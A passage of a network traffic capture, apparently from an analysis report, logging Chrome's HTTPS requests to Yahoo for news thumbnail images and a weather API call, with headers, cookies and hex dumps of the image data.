Ascii: ic .H$38px${height:38px}#atomic .H$3px${height:3px}#atomic .H$4px${height:4px}#atomic .H$65px${height:65px}#atomic .H$6px${height:6px}#atomic .Lts$\.0125em${letter-spacing:.0125em}#atomic .List$n${list-style-type:none}#atomic .Lh$1\.1em${l
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 34 70 78 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 4d 78 5c 28 34 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 65 6e 64 5c 28 34 70 78 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 4d 78 5c 28 34 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 36 70 78 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 4d 78 5c 28 36 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 65 6e 64 5c 28 36 70 78 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 4d 78 5c 28 36 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 36 70 78 7d 23 61 74 6f 6d Data Ascii: \){margin-right:3px}#atomic .Mstart$4px$,#atomic .Mx$4px${margin-left:4px}#atomic .Mend$4px$,#atomic .Mx$4px${margin-right:4px}#atomic .Mstart$6px$,#atomic .Mx$6px${margin-left:6px}#atomic .Mend$6px$,#atomic .Mx$6px${margin-right:6px}#atom

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49892	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	753	OUT	GET /uu/api/res/1.2/3vDJsuvj34ivMVnukopXNw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/in_touch_weekly_336/3b052fdee39917ec92806ecae96b4a87.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	1298	IN	HTTP/1.1 200 OK Content-Length: 15400 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 289012466908936781733354190338372088939,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="3b052fdee39917ec92806ecae96b4a87.webp" Edge-Cache-Tag: 289012466908936781733354190338372088939,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "bc916f8a2e915af8db7350a0e9f1d664" Last-Modified: Wed, 10 Jan 2024 22:07:23 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=15400,owidth=1080,oheight=1080,obytes=174400,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 064a99b118297897d27a6f0e43325b9a Accept-Ranges: bytes Date: Wed, 10 Jan 2024 22:07:31 GMT X-Served-By: cache-iad-kjyo7100092-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704924451.112612,VS0,VE2 Age: 4782 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 064a99b118297897d27a6f0e43325b9a cld_by: cache-iad-kjyo7100092-IAD cld_latency: 2 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:13 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 52 49 46 46 20 3c 00 00 57 45 42 50 56 50 38 20 14 3c 00 00 30 2e 01 9d 01 2a 18 02 1c 01 3e 79 38 98 48 a4 a3 22 a4 28 11 bb 38 90 0f 09 65 6d 15 b1 8b 1a a7 05 47 f9 57 9a 18 d6 ce e2 68 96 f3 99 7d 31 2a eb ff 8e 7e 79 9e 3f 57 3a 0e 51 3e a0 ce bf dd 7f ec f2 93 eb f7 f4 8e fa bf ed 1e 92 bf 98 fa 2d 59 5d 63 72 4c 5b cc 7b 0d fc df f0 1e 57 d8 93 f8 4f 04 fb 2a 76 f3 c0 5e 05 ee 42 50 07 e7 ca 1b 33 b7 fb 9f fd cf 61 0f 29 0f 0a 5f b4 16 c5 be 2a c4 04 b2 8f 04 cd ef 56 6c 90 40 b3 69 0f 7d 04 a2 d7 fc 97 59 34 c5 1b e2 3b 6f ed c9 50 8d 54 8b 0b 25 3d 42 25 94 dd 93 cc 4d 8d a3 d0 b2 93 5b d5 7e 5d 7e 42 14 e2 de cf 9f f2 8b a6 af f6 06 fe 64 06 c7 c0 5d 5d 86 5b b5 35 85 cf 8f ba b7 3c 04 2b 6a 47 56 d2 68 bb 91 a8 4a e0 4e eb c8 92 dc ef 0a 04 fd Data Ascii: RIFF <WEBPVP8 <0.>y8H"(8emGWh}1~y?W:Q>-Y]crL[{WOv^BP3a)_Vl@i}Y4;oPT%=B%M[~]~Bd]][5<+jGVhJN
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: a4 b3 fe 83 29 8d dc d9 fb 55 51 9f 7b 98 9b 7f 86 ce 64 1b c4 fd 70 77 d8 f0 6a d3 b1 8d 3c ba 3d 42 7e e1 6e 2e 98 5a 1d 8b 14 1d ee fe 51 f8 2e a2 af 2b 71 fe e0 cf 99 e2 a4 84 87 bd 43 14 18 0f 38 26 6a 48 4b 09 f4 33 fa ad a6 e6 25 a3 b4 13 8f af fe 4a 8a 3c 5b 3e 0d 2c 75 7e 20 11 0f 67 86 68 6b bf 55 c0 6f 18 84 5d 70 bd cc 41 c4 70 8c 30 de 85 77 c2 01 39 be eb 37 12 7d 43 06 28 01 95 07 4d f9 ff 96 ad 87 13 20 1e e9 33 86 8b fa c5 25 15 71 54 6b 55 94 ad 88 2c 58 88 af 9e 96 1a 99 81 a4 f9 6c ea 3f ed 52 27 2f 8e 96 2f df 25 62 6d 94 4a e2 d1 ed 42 eb 00 f6 ed b2 fe 0c 5b 79 26 b1 8a ac f9 3c ea c5 52 1a b7 cc 8e 9b 4f 59 3e ee 0f 0a 28 23 49 59 43 fe 21 0c bf 05 8a 19 1f 66 55 f3 09 b0 4e c5 e7 3a c0 02 6c 99 b0 28 6b 43 e5 9c 1d 7b 7a f8 43 c9 Data Ascii: )UQ{dpwj<=B~n.ZQ.+qC8&jHK3%J<[>,u~ ghkUo]pAp0w97}C(M 3%qTkU,Xl?R'//%bmJB[y&<ROY>(#IYC!fUN:l(kC{zC
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 7a 75 d9 a4 5f 15 ec f7 4a d3 55 63 7d ab d3 57 31 eb 7a 93 15 25 ec 64 cf 76 7f 9b e7 5d 13 8f 25 2a 2f 07 ae cf cd a3 4e 66 02 47 b4 0c 1e dc 35 4c 97 a6 e5 d0 28 f2 bc 60 2d 02 96 49 68 75 89 d5 6f 0f 8d 64 cc 9d 67 f6 e0 22 31 ee ba e4 cc 59 98 2f a6 d9 2c db 69 d0 de 89 ba d0 b6 14 76 30 51 ff c2 e8 18 8e b0 e1 f0 94 d6 0d dd f3 65 f5 5d e8 ac 80 71 34 c6 21 91 8d b7 e1 52 0c 1a 5b b1 b0 3b 48 ba 87 4e 47 db c6 1a df 99 fb b9 e3 1b a2 0e 9b de 36 9b 3e 04 ce c9 ec c5 f0 88 d1 aa 11 75 82 db 95 c7 ba 44 c9 12 56 95 0f ae 6a 1a d0 98 bf 1e 21 64 f9 23 48 c3 21 4d 02 de e7 e7 3c b6 44 a4 5c 7a 7d e7 53 db 93 0f b0 da d1 e3 31 af 7a 12 bb 4d 63 6b 76 47 3a 0d 31 3b 47 42 68 6f 51 77 2a 74 26 df ae ef 9b 95 0e 48 e9 32 54 79 79 ae 21 2d 62 9b 21 1d 95 4a Data Ascii: zu_JUc}W1z%dv]%/NfG5L(`-Ihuodg"1Y/,iv0Qe]q4!R[;HNG6>uDVj!d#H!M<D\z}S1zMckvG:1;GBhoQwt&H2Tyy!-b!J
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 0f 51 85 3e 2e 2c 97 90 c8 44 a9 96 2e 7d 9b a5 46 ca 36 b4 a9 53 2e 9c 35 94 18 5f 6c b1 5f f2 01 3a d1 36 8b b5 fc 66 e4 f2 a5 b2 03 d7 9d ab b5 59 5c d6 3c cb 8a 07 ae 03 47 39 05 b6 35 b7 f0 3b 26 38 81 89 52 96 6b 26 77 4c e1 c2 27 b9 8e 0d 13 e7 ce 58 d8 40 b3 eb ad 77 20 ca 3c 0d 51 2c e4 a7 30 ac 70 b3 f1 a6 e3 69 99 18 9e 3f 25 b0 50 65 68 1f 57 ab 07 a6 6c ee 65 3e 63 03 eb 2c cc f1 e7 4b a6 9d 1f ac df 10 6e 92 ec c3 ad f6 11 b1 b7 bb ac c3 f2 82 e9 35 7b 78 59 9d 3d 18 d5 77 d9 e2 71 fe ca 00 72 96 21 86 57 80 c7 96 58 8e d5 e0 98 7a 33 05 b1 c4 7f 54 d6 29 3b 43 03 a0 46 23 25 1c 44 0a 1b 83 60 9c 1e e4 2c 7d 5e 2d 18 db ed a1 95 3e 33 1d 78 28 c8 01 11 ef d3 2a e3 e4 b2 7f 6b 35 66 1e 84 36 9c 9e a0 e9 40 9b 57 69 98 02 db a3 13 c4 c6 13 98 Data Ascii: Q>.,D.}F6S.5_l_:6fY\<G95;&8Rk&wL'X@w <Q,0pi?%PehWle>c,Kn5{xY=wqr!WXz3T);CF#%D`,}^->3x(*k5f6@Wi
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 02 79 bf cb 29 5a 16 c1 2a b0 a2 97 60 7b 42 54 4b df be 03 43 ed 82 cc 2e c1 34 2f e4 b6 65 55 3b 6b d4 06 af 55 7f 16 5e 70 e3 03 1c 42 d0 fc a0 40 f9 4d a3 13 f0 81 c4 ac 9b 4a f2 bf 0a 95 33 e8 90 c4 2d aa be 55 84 3b 04 18 1d 11 db f6 3e 26 69 a4 cd 76 ee ed d4 20 43 8d a4 52 0b bd 84 d5 1c ad c8 7e 2c ab 2a 56 c3 53 e1 64 61 3f 55 ad b7 9c 62 77 67 b2 c6 31 9f 26 d4 37 90 b6 4e d6 13 cb c5 34 6a a7 50 f7 13 a5 ae 90 ab 86 bf 95 d0 b6 12 f7 cb 4c 28 e8 88 08 cb e0 6f 75 9a f8 c0 0f 76 49 50 6f 97 39 58 68 50 cd 28 2e 72 5e 2d b6 70 d4 dd f7 57 ab d8 44 be ef 92 0b 37 34 3b 44 bb 31 d3 c9 e1 cc 3b cb a0 df bd f6 11 b6 32 ab e4 86 6f ee ce 5f 92 33 85 69 93 4c 62 63 15 e2 5d 1c ab a8 a8 84 92 46 a3 4c 5e e1 12 67 97 fb 76 1c 17 d6 d6 25 f9 be 4d e6 4d Data Ascii: y)Z`{BTKC.4/eU;kU^pB@MJ3-U;>&iv CR~,VSda?Ubwg1&7N4jPL(ouvIPo9XhP(.r^-pWD74;D1;2o_3iLbc]FL^gv%MM
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: d8 c6 ab d6 ea f6 04 e5 0b f0 3f 66 60 e5 f4 10 e8 af 5a 8d 88 e6 0d e8 50 a1 7f ff 23 e2 fe 1e 16 06 9a 59 73 62 48 24 e7 58 9d 21 c3 8c b4 3e cc 23 d1 9c 90 74 b8 52 e2 f0 db 78 c4 cb 1b c3 5d bf b7 cf a6 64 0e e1 e3 7c 99 82 33 ec 59 b2 e2 31 56 87 40 04 b5 71 d3 7b 9e ca 5b 09 11 75 81 03 29 a7 71 89 26 bb 45 a0 17 b2 2d c2 bf 8f c6 bc 80 a1 dc c0 33 3f 35 3d a8 ab 2a 63 08 7a 4b 93 ce 0b 65 f1 5f 56 a7 0f 84 8f e9 93 0f 66 75 d9 1d d7 46 12 94 80 27 a4 ea 47 f4 f8 c0 78 94 e6 32 19 62 55 4f 6e 4e 8a 9e be 41 08 7e 10 c7 a9 be 22 3d 20 d1 f6 02 64 97 53 67 aa ba b2 21 39 4c ab 3d 52 00 db 04 06 6c 7a 4d 9f f1 96 8f 97 13 87 24 bd a3 a4 b4 e5 b9 7b 3e 76 99 1f 75 b2 2e 0b 70 7e 38 84 22 ab bf 0f 8e e1 0f c9 1e da 85 3e 5e cc 38 96 a3 43 be ae 7f 1a 97 Data Ascii: ?f`ZP#YsbH$X!>#tRx]d\|3Y1V@q{[u)q&E-3?5=*czKe_VfuF'Gx2bUOnNA~"= dSg!9L=RlzM${>vu.p~8">^8C
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 93 95 fe a5 3c 88 2e e3 41 d8 03 af 91 56 0c 79 ea 1e 96 42 79 0b 26 b3 3f f0 ea df e3 b0 4d 57 76 86 ea e7 fa d5 a3 6d 8d cd 1e 96 a6 47 ad ea b7 c2 47 83 5f aa a8 2e 9c df 8e 3f fa d0 ce 36 f1 fc bf 9d 3c 8f e6 31 72 58 b1 d3 5c d9 2d fe f8 98 8b 8f 16 21 88 69 3a d9 54 a5 f2 cb af f6 61 94 0e a3 99 de 58 7d 99 a6 d2 48 19 f5 25 57 88 6b c0 bf d2 96 ed 0b 0d c8 5d 8b db fc aa 0e c1 2b f2 50 45 86 cb 5e f9 f1 a2 78 eb 54 9b 44 e0 89 d3 6a 97 47 ff ff 08 d1 b6 64 d0 91 ac 4d ba 2c 98 d3 d8 d5 69 c7 58 09 f7 aa 61 72 04 33 bb cf 82 5d 2d 89 82 2c 37 4f 14 4d d5 b7 fd c7 7e f9 d8 0a 11 59 b4 32 7e f8 2c cd 56 6c b1 cb 57 a3 85 cd c6 bf 67 96 04 af 18 50 b8 e5 56 c2 82 87 81 81 a0 b5 63 29 ac f3 59 6c e4 0a 59 94 b9 30 87 41 f6 84 7d 8c 9b 03 13 e9 c6 bd 99 Data Ascii: <.AVyBy&?MWvmGG_.?6<1rX\-!i:TaX}H%Wk]+PE^xTDjGdM,iXar3]-,7OM~Y2~,VlWgPVc)YlY0A}
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: ac fa 1d d9 f8 08 9c aa 38 a4 0d 59 0d b6 a7 64 93 64 bd 37 cd e8 12 3d 92 f0 a7 49 3e ea 29 14 6c fe 0c 64 10 f6 7b 7a 41 b6 62 fa d3 84 9a 13 a5 cc 42 bb ee 3f 4a fa 12 68 c4 45 f0 97 27 83 30 7f 71 75 2e 74 ec 44 af 05 90 63 c3 43 4e d5 30 c4 34 e6 81 67 be ea 2c 34 2b b0 46 76 36 aa 2d 12 91 de a1 25 89 31 53 4e 4c 6e f7 5d a1 4e 96 ee 0c c1 3a b4 4c c0 7d 37 54 b4 e1 15 ea 06 81 ed 8f 69 e3 8f 4a 00 19 e2 a2 7e 9e cf 15 a3 73 ef 97 82 ad aa a9 57 49 e9 ed c9 57 6f a1 38 2a 6d 5a ec 8c b1 83 72 f2 7b 4d 69 9f 53 53 11 5c 5a 64 1d 35 46 20 6f fa 0d 77 a1 c5 89 8a e5 a7 37 88 7e f4 b1 31 bb 9e e3 77 04 ab 69 81 22 ee 66 ff 2f 4e e3 ae 7e d5 b1 f7 7e f3 40 e0 8c 13 c5 62 f2 b8 0a 98 09 d2 74 eb 21 88 6b e7 38 bc d2 03 b2 eb c6 49 fa b4 2c 4c 05 db c2 9b Data Ascii: 8Ydd7=I>)ld{zAbB?JhE'0qu.tDcCN04g,4+Fv6-%1SNLn]N:L}7TiJ~sWIWo8*mZr{MiSS\Zd5F ow7~1wi"f/N~~@bt!k8I,L
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: a2 1b 11 68 41 a0 c7 7b 17 4a c6 3c 46 e7 86 c9 97 6d 92 78 b5 83 33 1e fc 57 e4 be bb a1 32 aa 62 9b cb 5c 09 18 5e 00 f1 49 cb 13 7f 3e 0d 40 6c e3 ab 68 f0 f9 8a ba 61 a2 66 4d 5d 18 26 42 94 d2 fd f0 5e bb 01 de 97 da f3 5b 23 e3 18 87 ef 78 58 1a 8f a7 45 90 54 b6 82 07 9a bc 22 7d e3 cb 43 c3 05 a7 4b 45 85 ab bb c5 1f 51 41 28 9b 4a 61 9d 2e 36 86 06 f7 31 fd 78 43 2e 41 3e df 70 ea a4 2e fe 45 32 2a 00 c0 de da 06 a2 49 cd b7 ca c1 b8 88 18 99 11 a1 51 a5 47 13 65 43 ba 0f 5c b3 a2 66 3a 67 bb 5a 4c 50 7f 08 12 7e bb b4 ac ff 4b e7 66 26 d3 bf 92 bd 8e 43 38 25 46 e3 d3 eb 45 20 ba ed d7 62 04 20 94 51 63 71 a8 e8 e6 5d be 27 5a 50 5a 4b 2e 55 34 d0 43 f8 15 e6 f4 0f b4 31 ff a4 e5 16 68 b1 1c e4 68 03 1e 30 74 9c 89 d8 6b dd 4a ce 36 6c e2 f8 34 Data Ascii: hA{J<Fmx3W2b\^I>@lhafM]&B^[#xXET"}CKEQA(Ja.61xC.A>p.E2*IQGeC\f:gZLP~Kf&C8%FE b Qcq]'ZPZK.U4C1hh0tkJ6l4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49893	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	1152	OUT	GET /tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=zfSN82ZAbeD HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B
2024-01-10 23:27:13 UTC	1184	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 content-type: application/json; charset=utf-8 content-length: 21 etag: W/"15-umwiS4rIitQ2ijB3W71Mutm+O6U" vary: Accept-Encoding date: Wed, 10 Jan 2024 23:27:13 GMT x-envoy-upstream-service-time: 12 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=33la71pipu9uh&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:13 UTC	21	IN	Data Raw: 7b 22 64 61 74 61 22 3a 5b 5d 2c 22 6d 65 74 61 22 3a 7b 7d 7d Data Ascii: {"data":[],"meta":{}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49894	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	744	OUT	GET /uu/api/res/1.2/8tjF7T4GR70djFWTwZRQYw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/people_218/6be7c0bb2afb25be1f85ac48c6a2959e.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:13 UTC	1298	IN	HTTP/1.1 200 OK Content-Length: 14256 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 480887048833509370342813145391988282800,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="6be7c0bb2afb25be1f85ac48c6a2959e.webp" Edge-Cache-Tag: 480887048833509370342813145391988282800,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "e172ee9783eeefd34d1026450862b6a3" Last-Modified: Wed, 10 Jan 2024 06:16:47 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=14256,owidth=1500,oheight=1000,obytes=148259,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 8595aeffedf5b16823b1a4e36aac4d35 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 06:16:50 GMT X-Served-By: cache-iad-kjyo7100028-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704867411.721093,VS0,VE1 Age: 61823 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-01-10 23:27:13 UTC	58	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 52 49 46 46 a8 37 00 00 57 45 42 50 56 50 38 20 9c 37 00 00 50 01 01 9d 01 2a 18 02 1c 01 3e 79 36 97 48 a4 a2 a5 26 27 12 ab b8 c0 0f 09 63 6e 20 2d 11 f5 cf d0 1b 9c 06 f3 e9 f2 fd 90 8c ce ef 94 00 22 e7 22 dc ac b7 fa dd a5 72 2f b7 ff 9f fe 6b d4 af 8e 7c 32 fa 8c a7 1f 6f d4 3e 80 3f e2 fa e4 fe c7 ea 31 e7 cb d2 e7 fc 9f 46 3e 6a be a1 ba 2b fd 72 7f b4 fa d2 79 cf fa da d7 e9 fe e7 fb 9f 91 bf 92 7d 87 fb 8f ef 5f e5 79 9d c4 d7 e6 df 93 3d 23 ed ab fb 9f 14 7e 7e ea 1d f9 97 f5 bf 4e c8 6a 38 3b bf 7e 0b ba ba 78 cb d8 0f cc 7f fb 9e 3e 1f 86 ff c7 ec 05 fd 23 fc d7 ec e7 b3 7e 84 3e bf f6 12 f2 eb f6 25 fb c3 ff ff de 39 af 10 42 33 2f a9 8b 32 cb 42 22 1e d0 ca 8b e0 0c 38 49 95 ea 95 ac 59 29 1a f2 9d 71 32 7a 66 77 7b 88 32 72 8f eb 98 f1 4e Data Ascii: RIFF7WEBPVP8 7P*>y6H&'cn -""r/k\|2o>?1F>j+ry}_y=#~~Nj8;~x>#~>%9B3/2B"8IY)q2zfw{2rN
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: d7 17 e4 2a d1 fd 50 57 b4 e5 27 0f 1f d9 df c8 d6 a4 00 4d 74 a1 25 20 c6 b1 53 2c 68 6d 2e 9b 32 ce 48 b1 c1 79 60 af 59 01 3e fe d8 68 db 36 d4 01 bc bc 56 a7 1a 97 d9 6b ee 0e d8 43 77 4b 28 bc 4f 79 e0 d1 f8 b4 93 8b de 07 46 04 07 0b c9 16 17 c4 03 e2 5d 08 7e fa 50 b2 dc 11 2e 4e 0b f4 12 4c c9 4e 7b a6 b6 84 a1 43 fa be 69 5b 11 c0 3e ef c5 4e d1 f1 e5 0d f1 7c 3e be fc ba a1 d1 57 3c 46 35 06 46 be 54 5f 2e a8 94 a1 95 c7 8f 78 3d ba da c0 11 ba 5c 4a 2e 28 5f bd 5a 3b 44 1d c8 59 26 d2 78 b2 73 b2 52 ae d5 99 0f 0d de 4e fa a9 f7 42 f6 86 bf f1 b8 fc 19 9a 72 03 ae 38 7c cb 2d 06 94 66 30 59 60 be 97 5d 97 ee 30 97 fc e6 36 25 65 64 0f c6 9c 60 fe 97 c1 36 2d c8 67 70 11 7f 51 6e 16 6b 12 0d 27 31 b1 52 9b f8 e0 93 84 31 e7 d1 6f ee 7b 82 f0 4a Data Ascii: *PW'Mt% S,hm.2Hy`Y>h6VkCwK(OyF]~P.NLN{Ci[>N\|>W<F5FT_.x=\J.(_Z;DY&xsRNBr8\|-f0Y`]06%ed`6-gpQnk'1R1o{J
2024-01-10 23:27:13 UTC	1300	IN	Data Raw: 21 1d 23 ac 01 b7 30 28 db 86 ec 32 26 1c 18 f9 44 e8 0f 01 45 54 27 4e b2 da 39 41 84 1c e9 15 3b 5a 56 db e0 50 36 bb 54 81 7b c1 24 1e f9 59 ae 28 dd af f3 a6 00 93 7c 8b 6f 06 b6 eb 12 7e 2b c1 72 06 e7 52 07 bb e7 1b 1c a5 04 47 31 ab 9c 68 a8 f0 f2 77 72 b8 df 24 6d 69 2e ec 89 75 fe 35 a9 9c f5 d4 65 17 26 ee d6 a8 83 c0 ee b4 f6 5e ed f9 4f 9a 43 60 8e 5b f7 3b ea b3 3c 03 3e d5 bd 31 50 ec 3f b4 93 39 a1 33 14 4b 5a 8e c5 07 cb 67 ab 15 3a f5 cb 6b a8 4b a3 17 ab ce 7d 98 f4 cc 24 cf d8 84 8e db 2b 89 75 76 a5 f7 e6 f0 ae fe f0 88 76 87 4e 32 0e a7 02 23 0d 09 6c 98 45 84 2a bb 34 4b 9c 61 84 ae 2d 6c a9 ed d3 23 fb 47 50 10 eb 13 7f d8 79 5e 2d 5d 8c 4d d8 08 9c a6 38 83 99 5d 7f 36 79 0f a9 f6 13 1e da 4c 44 ce 12 80 20 8c c2 8a f5 da 71 3b 8b Data Ascii: 